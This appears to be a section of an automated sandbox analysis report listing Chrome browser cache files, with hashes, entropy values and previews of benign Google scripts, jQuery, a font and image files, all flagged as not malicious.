Preview:	<!DOCTYPE html>.<html lang=en>. <meta charset=utf-8>. <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">. <title>Error 400 (Bad Request)!!1</title>. <style>. {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//ww

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.5
Encrypted:	false
SSDEEP:	3:H+rYn:D
MD5:	F1C9C44E663E7E62582E3F5B236C1C72
SHA1:	E142F3A0C2D1CDF175A5C3AF43AD66FEFE208B1F
SHA-256:	D843E67FBFA1F5CB0024062861EE26860C5A866F80755CF39B3465459A8538B9
SHA-512:	19FE62CB9D884BB3424C51DD15E74EB22E5A639BABF8398BACEBB781862296FA0D7AEE39C88CB9C7AF5791FD58830AC3433F5C6BD94B1BA3912AB33151E93452
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAk30bx9EDlAqxIFDTcwqTA=?alt=proto
Preview:	CgkKBw03MKkwGgA=

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2049)
Category:	downloaded
Size (bytes):	14469
Entropy (8bit):	5.472997784863054
Encrypted:	false
SSDEEP:	384:IYim7O/sAg9U6KAQdkzFu+5aiWQLHO91cIuW:IoqUAh8vzLW2y
MD5:	F447D1B8B0211DD89ABAF4E43D2D1FFE
SHA1:	53B9C5F73A3F9E2C59293037469F3C69F317454F
SHA-256:	AE2328B23CA6A7F6C2FDAAF7EC080B674AC1C95DA79378DAB2D15DFA3CBDF550
SHA-512:	16DAB239929B5C02C0A34640237ED4E91C66F581A52B54B671D807EC894891C8F8FE3FCF1EB54C6EFA1EF0AE136B136B68855AEC931877A47CFFD3D4D663FE67
Malicious:	false
Reputation:	low
URL:	https://apis.google.com/js/client.js?onload=gapiLoaded
Preview:	(function(){var aa=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ba=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");},ca=ba(this),g=function(a,b){if(b)a:{var c=ca;a=a.split(".");for(var d=0;d<a.length-.1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&aa(c,a,{configurable:!0,writable:!0,value:b})}},h=function(a,b,c){if(a==null)throw new TypeError("The 'this' value for String.prototype."+c+" must not be null or undefined");if(b instanceof RegExp)throw new TypeError("First argument to String.prototype."+c+" must not be a regular expression");return a+""};.g("String.prototype.endsWith",function(a){return a?a:function(b,c){var d=h(this

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1239)
Category:	dropped
Size (bytes):	129391
Entropy (8bit):	5.658313993435465
Encrypted:	false
SSDEEP:	1536:cA3i0ALxQEyQ4mjIfjj+wcD9KeYy/KJZv58V5Vs6uZzIF4uenXlDYwFO4vUebzP6:NUsdqwUXUZv58V5Vs6+zhowpvT7C
MD5:	BD27851B76DD704D42F3CE0CE7C79FD4
SHA1:	D7D80893B7C2C82A8EFD5FF24D0A13BB70211A23
SHA-256:	9106E31425E54823B8B82F600AC01F49963CB8F1DAE3EE3102DABE0D1BF7358D
SHA-512:	BC563ACC94468B81029BFDC51AF3A7D96CD09108DA80FF5176F14D5B8A4618E90BF4419CE29DFBE1C17D7CA60CEFA3C4B598372008D0DB3A7B55516F69114C2B
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.x("MpJwZc");.._.z();.}catch(e){_._DumpException(e)}.try{._.x("n73qwf");.._.z();.}catch(e){_._DumpException(e)}.try{._.x("A4UTCb");.._.z();.}catch(e){_._DumpException(e)}.try{._.x("mzzZzc");.var YKa;_.MA=function(){_.Ll.call(this)};_.F(_.MA,_.Mn);_.MA.la=_.Mn.la;YKa=function(a){a=_.Je(a,function(c){return _.Ie(c)&&(c.id==="yDmH0d"\|\|c.classList.contains("yDmH0d"))});return _.Ie(a)?a:null};_.NA=function(a){if(a){var c;return(c=YKa(a))!=null?c:_.Ke(a).body}a=document;var e;return(e=a.getElementById("yDmH0d"))!=null?e:a.body};_.ko(_.Zo,_.MA);._.z();.}catch(e){_._DumpException(e)}.try{._.x("CHCSlb");._.LA=function(){_.Ll.call(this)};_.F(_.LA,_.Mn);_.LA.la=_.Mn.la;_.ko(_.Yna,_.LA);._.z();.}catch(e){_._DumpException(e)}.try{._.x("qAKInc");._.U2=function(a){_.Qn.call(this,a.Na);this.B=this.getData("active").B(!1);this.C=this.S("vyyg5");this.F=_.wf(_.xf(this).Bc().cb(function(){var c=this.U();this.B?c.Sa("qs41q

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1421)
Category:	dropped
Size (bytes):	31069
Entropy (8bit):	5.40644905813247
Encrypted:	false
SSDEEP:	768:rlUZqboYsiXSMAxIies8kpMvPN67qvqemLAIxg7QVq+oHQby9O7LXdL8R2fpVNTj:nWVq+oHQby9O7LtVfzcql
MD5:	601C47FBB1B95A6B20385B3724C704F1
SHA1:	64C214CF4A7DAA9714965CC6C5E7CABDBAFC2EE5
SHA-256:	3B473F00F9698E221AF711B717852C10213A5BB8FB7D63A97A53AD2113845442
SHA-512:	57409165DF26FD3F6E1082098A6E38BE96853876AFA40C2748CA131480095A654B1E9962B96536432EFDFCAF7B846FA18BF6934E4191A524A572EC493E3215BF
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.ZFb=function(a,c){c=c===void 0?window:c;c=c===void 0?window:c;return(c=c.WIZ_global_data)&&a in c?c[a]:null};.}catch(e){_._DumpException(e)}.try{._.x("IZT63");.var nWb=function(){var a=_.ZFb("nQyAE",window),c;if((c=_.ZFb("TSDtV",window))&&typeof c==="string"){var e=_.jj(_.lm(c,iWb),jWb,1,_.ej())[0];if(e){c={};e=_.jj(e,kWb,2,_.ej());e=_.r(e);for(var f=e.next();!f.done;f=e.next()){var g=f.value;f=_.K(g,7);switch(_.gj(g,p8)){case 3:c[f]=_.I(g,_.hj(g,p8,3));break;case 2:c[f]=_.xj(g,_.hj(g,p8,2));break;case 4:c[f]=_.mja(g,_.hj(g,p8,4));break;case 5:c[f]=_.K(g,_.hj(g,p8,5));break;case 8:switch(g=_.ij(g,lWb,_.hj(g,p8,8)),_.gj(g,mWb)){case 1:c[f]="%.@."+_.K(g,_.hj(g,.mWb,1)).substring(1)}}}}else c={}}else c={};if(c&&Object.keys(c).length>0)for(e=_.r(Object.keys(c)),f=e.next();!f.done;f=e.next())f=f.value,f in a\|\|(a[f]=c[f]);return a},lWb=function(a){this.ca=_.w(a)};_.F(lWb,_.L);var mWb=[1];var kWb=function(a)

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 3396 x 1920, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	87859
Entropy (8bit):	7.046777034066421
Encrypted:	false
SSDEEP:	1536:k4iIwz9HmGeKV5FrZuUDPA3Ae3ItuR30nAVO4P88D6s:piIkGZ+ZsJ4YR30ePHD6s
MD5:	A4D9107960AE4E4F79E6A36DF931EF5D
SHA1:	35704C698FCCD795B8F19DA76672A72C00422857
SHA-256:	FBBBC78E85DFA4F2B390E6DC2F3850D0F5247D16B5FD525093331572AA79AE84
SHA-512:	2C7FB7F198B0B141DD5B2B72ECB8B6E00514B70DFDE8CF6161988A5BB4F26C72BEED5CB59EC9E80BB2651016999D7DBB1CEE73F18AF7A982A0F3AC73E9B02465
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...D.........3;+.....sBIT.....O...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-... .IDATx...!.. ..0..X..I.................@g............;3............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13............\|..........3..........@............13..

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1225)
Category:	downloaded
Size (bytes):	92926
Entropy (8bit):	5.612434461064469
Encrypted:	false
SSDEEP:	1536:tj0pP0oOzTuBXc2ZEw8b58rKnV+r2xt431sko/P:tNoOzTuhcXwqArCP
MD5:	48F3855E9F0307D289CBC9C2313BD1D8
SHA1:	7EDDAAF230FE48F519C7A7EEBDFD53443D2CBB5E
SHA-256:	7A62263CC1E9A35BDBB728B683670B4CDD0F8C6CC955F5760F5BF60A51FFCFAF
SHA-512:	C7317185815F511D88FE857AA7272B60F469308E3BDF4FC79BA0A492742BB4E85F36576ACE969031A013505539B5E2FA3E3C1879F6B657D0500EFB8BB3E599DB
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=0/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=NTMZac,m9oV,sye,syj,Ae65rd,rCcCxc,RAnnUd,CuaHnc,sy10,sy3a,sy3c,gJzDyc,sy3m,uu7UOe,sy3n,soHxf,sy3o,uY3Nvd,mxS5xe,syx,syw,sy34,HYv29e"
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.x("NTMZac");.var D8=function(){_.Ll.call(this)};_.F(D8,_.Mn);D8.la=_.Mn.la;D8.prototype.Ml=function(){throw Error("ii");};D8.prototype.RF=function(){throw Error("ii");};D8.prototype.Nb=function(){throw Error("ii");};_.ko(_.Mta,D8);._.z();.}catch(e){_._DumpException(e)}.try{._.x("m9oV");._.P3=function(){_.Ll.call(this);this.enabled=!1};_.F(_.P3,_.Mn);_.P3.la=_.Mn.la;_.P3.prototype.Ua=function(a){this.enabled=a};_.P3.prototype.isEnabled=function(){return this.enabled};_.ko(_.eIa,_.P3);._.z();.}catch(e){_._DumpException(e)}.try{._.x("Ae65rd");.var AFb=_.qd("Ae65rd");var L1=function(a){_.Qn.call(this,a.Na);this.B=!1};_.F(L1,_.Qn);L1.la=_.Qn.la;_.k=L1.prototype;_.k.G3=function(){var a=this.S("haAclf").el();this.B=_.Im(a,"pointerEvents")==="none"};_.k.D3=function(a){var c=this.U(),e=this.S("haAclf").el();e=_.Im(e,"display")!=="none"&&a.targetElement.closest(".Znu9nd").el()===null;var f=this.B&&e&&!c.ab("CJI

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18536, version 1.0
Category:	downloaded
Size (bytes):	18536
Entropy (8bit):	7.986571198050597
Encrypted:	false
SSDEEP:	384:IhocXmE6eM871P7td/mcOKA454H2orQEONKrOqxw:f6WeL1P//9D54WCCKc
MD5:	8EFF0B8045FD1959E117F85654AE7770
SHA1:	227FEE13CEB7C410B5C0BB8000258B6643CB6255
SHA-256:	89978E658E840B927DDDB5CB3A835C7D8526ECE79933BD9F3096B301FE1A8571
SHA-512:	2E4FB65CAAB06F02E341E9BA4FB217D682338881DABA3518A0DF8DF724E0496E1AF613DB8E2F65B42B9E82703BA58916B5F5ABB68C807C78A88577030A6C2058
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......Hh..........H..............................Z..\|.`..J.T..<.....H..U..Z...x.6.$..0. ..t. ..I....p.0.VU.......1....AQ...d..x.....R..4.-.c..C$fUc.c..IX..@..~g.xs.....%...O...eJ.w..U.\|.......%..{.......U+..T#.S......`.n.....V.w.4..~P"..zk.%..../........=3...F.........V.FL..;Bc.........A.Uk.U1.b!Y.BH.DL...s.s...F.m.9a..GJ..1..#.`m5..DI..X5#.........B.Akm.....&..0...{.L.....G......-(.......O4.@3....=......f..l...$.....j..NO...e.Y.tJ2J>F.(.c....08..e...~....D2S7s:.G'Gm........!.7.........r.c.`,.....~.).......c>1.......Y.g2^...T-1.7./r./....>...g.ov@u.?.U.+._...'M..,.,g....!g..9."..yBF.#r+.Ps...%.d=....U...5.b.$:`.4R.II.<A....Q)....e...k.....M.8.z....+.....5}..F........F.d._...].~-](.Lf....Y..W....;-z...;. .@x._v../.%UIm....=s...P.C....G...^..Q.!g.!b._.P....at..?.}....t.z...O(..Y6..R.2.X....k.R..K.gw(.F.K?m..R...7....dj..7. .r.U..be.4......8.].w.B..B......Y..:..8.N..U...NEm...\.^q..f}.......{..6.". ...y-.Y...N.+.M E..`......R.$T

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1953)
Category:	dropped
Size (bytes):	38020
Entropy (8bit):	5.63608450668924
Encrypted:	false
SSDEEP:	768:KckTaQOQMB+JTl7vtnCQt2zWAaL7Lg3Qi16YxjqCW5InXPjwM:pQOTqTlVCQMzWl7MsWB
MD5:	981999AE4E7A1B7534ED52AD7B437CA3
SHA1:	5271CD98374EC3BF9FD8B09E6E53E1320D4B1B4C
SHA-256:	24ECEB95A538E2CA25FECE065D4F518AC5AFDCF67F4550A3A962A635F2724A59
SHA-512:	70273D218D62E78225FB77F500A1B3A68A63C96EED4DDAFE0536B9B71D27F4506BDDFB966840712323413F691DDC5638BFBC536D8B29A69BE3A3457C480D931A
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._.JOa=function(a){for(var c=[],e=0,f=0;f<a.length;f++){var g=a.charCodeAt(f);g<128?c[e++]=g:(g<2048?c[e++]=g>>6\|192:((g&64512)==55296&&f+1<a.length&&(a.charCodeAt(f+1)&64512)==56320?(g=65536+((g&1023)<<10)+(a.charCodeAt(++f)&1023),c[e++]=g>>18\|240,c[e++]=g>>12&63\|128):c[e++]=g>>12\|224,c[e++]=g>>6&63\|128),c[e++]=g&63\|128)}return c};_.fC=function(a,c,e){return _.Co(_.Ho(a,c),c,e)};_.gC=function(){this.blockSize=-1};.}catch(e){_._DumpException(e)}.try{.var hC,iC,KOa,LOa,OOa,POa,jC,VOa,WOa,XOa,YOa,mC,ZOa,aPa,bPa,oC;hC=function(a,c){this.F=a;this.H=c;this.B=!0};iC=function(a){var c={};a=a.replace(/\r/g,"").split("\n");for(var e=0;e<a.length;e++){var f=a[e],g=f.indexOf(":");g<0\|\|(c[f.substring(0,g)]=f.substring(g+2,f.length))}return c};KOa=function(a){var c="";_.td(a,function(e,f){c+=f+": "+e+"\r\n"});return c};LOa=function(){};_.MOa=function(){var a=new _.Pr;_.ur(a);_.wr(a,Error(a));return a};._.NOa=function

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (524)
Category:	dropped
Size (bytes):	682280
Entropy (8bit):	5.549668900622937
Encrypted:	false
SSDEEP:	6144:iOa+LzokwOO56xt5DBlDF3toBPrE0XG8EpzKv8aIrtkvuLDPxlzPW872w2vbY:iOaTnA7BlDFX0XNpvKLDYY
MD5:	12F310BB15EC7927981B4A8BC629A0B6
SHA1:	DA7BB7694CDAAF0A86DB0F7D780039A29EB89DC7
SHA-256:	50EC1065C8CF25CCEFF7240B871CD141C1097BEF4AB395F2BD5FCEE7CA3B2AC1
SHA-512:	FD4317F5049D5441CB27B86FA5EC2216373A434A4A4E05B5BF4EF35B77E02F97674429CC656820E92A659CCDF49E4890FF0156A5244DF0D43A84303F9BE26C50
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x801830, ]);./.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././.. Copyright 2024 Google, Inc. SPDX-License-Identifier: MIT././. SPDX-License-Identifier: Apache-2.0././.. Copyright Google LLC All Rights Reserved... Use of this source code is governed by an MIT-style license that can be. found in the LICENSE file at https://angular.dev/license././.. Copyright 2017 Google LLC. SPDX-License-Identifier: BSD-3-Clause././*.. Copyright 2019 Google Inc... Permission is hereby granted, free of charge, to any person obtaining a copy. of this software and associated documentation files (the "Software"), to deal. in the Software without restrictio

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.291341878948596
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdx:DIh8GgP3hujzwbhdx
MD5:	6C4675CF3DF7F93BF4849E1D58E6C158
SHA1:	657014EB75249D31008B213FCD81130B7176D496
SHA-256:	9F567EC6BEA5A905D8A9F583B525A0E1866813F3B78B4B9F901F60F4EFB2378B
SHA-512:	31F0BDF3D65F5E491D5CE538C207472290BED40E9B6D9B2721193CE9D5A3B550E6DB73A91CCA00A837E2B383B8133A8393EB1C0F5D1F3416628159DFD1C33D9F
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1817)
Category:	dropped
Size (bytes):	43641
Entropy (8bit):	5.601106223240889
Encrypted:	false
SSDEEP:	768:qgjicN0q3Ii7y8R2Pc/ZryZeWX7ieWnr5LDbzAuQosGdpKFAYp/kfDzZQp87J+LT:o42PEszQrJMo18mtfDNXi0s
MD5:	01054A02B51F5F599A51D30081EF9ECB
SHA1:	5E88096615EE2349ECA90A775DC925B1883B0BB1
SHA-256:	051BE6AC38731ACA733C1D11C2C103BBF8A173F4CACEDFF061115351C015F430
SHA-512:	7F85893440A68B3BB4DCD9F5A76215AB8DFDC21DFE1594AFD82DE261678391C6FB481183D902274D38C00FFD17B398B1CD5BE0BE48BE8249BF3AB81EBBF9FE3B
Malicious:	false
Reputation:	low
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{.var YLa,ZLa,$La,gB,aMa,hB,cMa,dMa,bMa;YLa=function(a,c){return(a+17c)%2174483647};ZLa=function(a,c){var e=a[_.nja];return e!==void 0?e:a[_.nja]=c(a)};$La=function(a){return a==="="\|\|a==="."};gB=function(a){for(var c=1,e=a.length;$La(a[e-1]);)e--;for(var f=e-4,g=0;g<f;)c=a.charCodeAt(g)+31c\|0,c=a.charCodeAt(g+1)+31c\|0,c=a.charCodeAt(g+2)+31c\|0,c=a.charCodeAt(g+3)+31c\|0,g+=4;for(;g<e;)c=a.charCodeAt(g++)+31c\|0;return c};aMa=function(a){return gB(_.Dc(a))};.hB=function(a,c){c=c===void 0?0:c;for(var e={},f=0;f<a.length;e={HB:void 0},f++)if(e.HB=a[f],f===a.length-1&&_.vb(e.HB)){var g=[],h;for(h in e.HB){var l=+h;!Number.isNaN(l)&&g.push(l)}c=hB(g.map(function(m){return function(p){return m.HB[p]}}(e)),c)}else c=YLa(c,bMa(e.HB));return c};cMa=function(a){return hB(a.ca)};dMa=function(a){return hB([].concat(_.Ig(a.entries())))};.bMa=function(a){if(a==null)return 0;switch(typeof a){case "boolean":return g

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1817)
Category:	downloaded
Size (bytes):	43641
Entropy (8bit):	5.601106223240889
Encrypted:	false
SSDEEP:	768:qgjicN0q3Ii7y8R2Pc/ZryZeWX7ieWnr5LDbzAuQosGdpKFAYp/kfDzZQp87J+LT:o42PEszQrJMo18mtfDNXi0s
MD5:	01054A02B51F5F599A51D30081EF9ECB
SHA1:	5E88096615EE2349ECA90A775DC925B1883B0BB1
SHA-256:	051BE6AC38731ACA733C1D11C2C103BBF8A173F4CACEDFF061115351C015F430
SHA-512:	7F85893440A68B3BB4DCD9F5A76215AB8DFDC21DFE1594AFD82DE261678391C6FB481183D902274D38C00FFD17B398B1CD5BE0BE48BE8249BF3AB81EBBF9FE3B
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=0/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=sy18,sy19,sy1b,sy1c,sy1e,fuVYe,sy1g,sy1h,sy1i,CG0Qwb"
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{.var YLa,ZLa,$La,gB,aMa,hB,cMa,dMa,bMa;YLa=function(a,c){return(a+17c)%2174483647};ZLa=function(a,c){var e=a[_.nja];return e!==void 0?e:a[_.nja]=c(a)};$La=function(a){return a==="="\|\|a==="."};gB=function(a){for(var c=1,e=a.length;$La(a[e-1]);)e--;for(var f=e-4,g=0;g<f;)c=a.charCodeAt(g)+31c\|0,c=a.charCodeAt(g+1)+31c\|0,c=a.charCodeAt(g+2)+31c\|0,c=a.charCodeAt(g+3)+31c\|0,g+=4;for(;g<e;)c=a.charCodeAt(g++)+31c\|0;return c};aMa=function(a){return gB(_.Dc(a))};.hB=function(a,c){c=c===void 0?0:c;for(var e={},f=0;f<a.length;e={HB:void 0},f++)if(e.HB=a[f],f===a.length-1&&_.vb(e.HB)){var g=[],h;for(h in e.HB){var l=+h;!Number.isNaN(l)&&g.push(l)}c=hB(g.map(function(m){return function(p){return m.HB[p]}}(e)),c)}else c=YLa(c,bMa(e.HB));return c};cMa=function(a){return hB(a.ca)};dMa=function(a){return hB([].concat(_.Ig(a.entries())))};.bMa=function(a){if(a==null)return 0;switch(typeof a){case "boolean":return g

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 16x16, 32 bits/pixel
Category:	dropped
Size (bytes):	1150
Entropy (8bit):	2.3710475547263856
Encrypted:	false
SSDEEP:	6:RlMRQ8W828W828W828W828S8eftXfc/lk:Ry3X3X3X3XjeVUk
MD5:	EA69A3F95DD5484853D128186DB7E13D
SHA1:	5FDB5FE05108FD6E5386BBDA06778AF4B446DC6A
SHA-256:	8179E80BCFEF62154D1FF7371A1C60BD2C6C1E71C3DA2F4A8B1DB518A1900EC2
SHA-512:	2169D31065059C3677D025F27A5650C1E35BF83B6D6B3D80842B0809FF67E85388CB00213A4BD3FA76F71909A21298C824B39299A3980BA3B11C0297DB472610
Malicious:	false
Reputation:	low
Preview:	............ .h.......(....... ..... .....@....................P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>......................P>..P>..............P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..........................................P>..P>..P>..P>..P>..P>..........................................P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P>..P

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1283)
Category:	downloaded
Size (bytes):	4470
Entropy (8bit):	5.3814102326751785
Encrypted:	false
SSDEEP:	96:wNriNfnwizwTA39aygEAz3sOCIWzTwlrJx:XVwTA35U3Bb
MD5:	F29B73DEB7FD9236E7EEDA53DB230463
SHA1:	496BD1C3E40265208EB207BD2E5ADBCD34D19CB4
SHA-256:	CF173442A6A3374EE4A072A07D0758D1B7B1D292FE51426279FC9873B3FA77BC
SHA-512:	96670C5B7BB97174204EF4839DB71AAC1E9B55953AF9D8F0DCB1F3B97F7D9B86CC21C69D8C5611E15F9D27F02DB0B3B1A0FFAA3DCF78D18250DF10D05332329E
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=0/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=sy14,YXyON,YV8yqd"
Preview:	"use strict";this.default_vw=this.default_vw\|\|{};(function(_){var window=this;.try{.var fLa;_.SA=function(a,c,e){return _.cla(document,arguments)};fLa=function(){var a=[];_.td(eLa,function(c,e){a.push(_.jl(e),":",c,";")});return a.join("")};_.TA=function(a,c,e,f){this.D=a;this.F=c;this.C=e\|\|null;this.B=f?f:[];for(a=0;a<this.B.length;a=a+1\|0)if(this.B[a].B.length>0)throw _.qra().Ob;};_.F(_.TA,_.or);_.TA.prototype.Sb=function(){return this.D};_.TA.prototype.getType=function(){return this.F};_.TA.prototype.nk=function(){return this.C};_.UA=function(){this.B=!1;this.V=!0};_.F(_.UA,_.xs);_.UA.prototype.isEnabled=function(){return this.V};_.UA.prototype.Ua=function(a){this.V=a};_.UA.prototype.BG=function(a,c){this.isEnabled()&&this.WO(a,c!=null?_.Or(c):0)};_.UA.prototype.speak=function(a,c){var e=this.BG;a=new _.TA(a,0,null,null);e.call(this,a,c)};var gLa={" ":"space","`":"backtick","~":"tilde","!":"exclamation mark","@":"at","#":"pound",$:"dollar","%":"percent","^":"caret","&":"ampersand","

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1421)
Category:	downloaded
Size (bytes):	31069
Entropy (8bit):	5.40644905813247
Encrypted:	false
SSDEEP:	768:rlUZqboYsiXSMAxIies8kpMvPN67qvqemLAIxg7QVq+oHQby9O7LXdL8R2fpVNTj:nWVq+oHQby9O7LtVfzcql
MD5:	601C47FBB1B95A6B20385B3724C704F1
SHA1:	64C214CF4A7DAA9714965CC6C5E7CABDBAFC2EE5
SHA-256:	3B473F00F9698E221AF711B717852C10213A5BB8FB7D63A97A53AD2113845442
SHA-512:	57409165DF26FD3F6E1082098A6E38BE96853876AFA40C2748CA131480095A654B1E9962B96536432EFDFCAF7B846FA18BF6934E4191A524A572EC493E3215BF
Malicious:	false
Reputation:	low
URL:	"https://www.gstatic.com/_/atari/_/js/k=atari.vw.en_US.fw_mAcuwUyE.O/am=MBiA/d=0/rs=AGEqA5lwNXFYaHUUDGYHiMqlOO36DqQAOw/m=sy3d,IZT63,vfuNJf,sy43,sy47,sy49,sy4k,sy4i,sy4j,siKnQd,sy1a,sy41,sy48,sy4a,sy3e,YNjGDd,sy4b,PrPYRd,iFQyKf,hc6Ubd,sy39,sy4l,SpsfSb,sy44,sy46,wR5FRb,pXdRYb,dIoSBb,zbML3c"
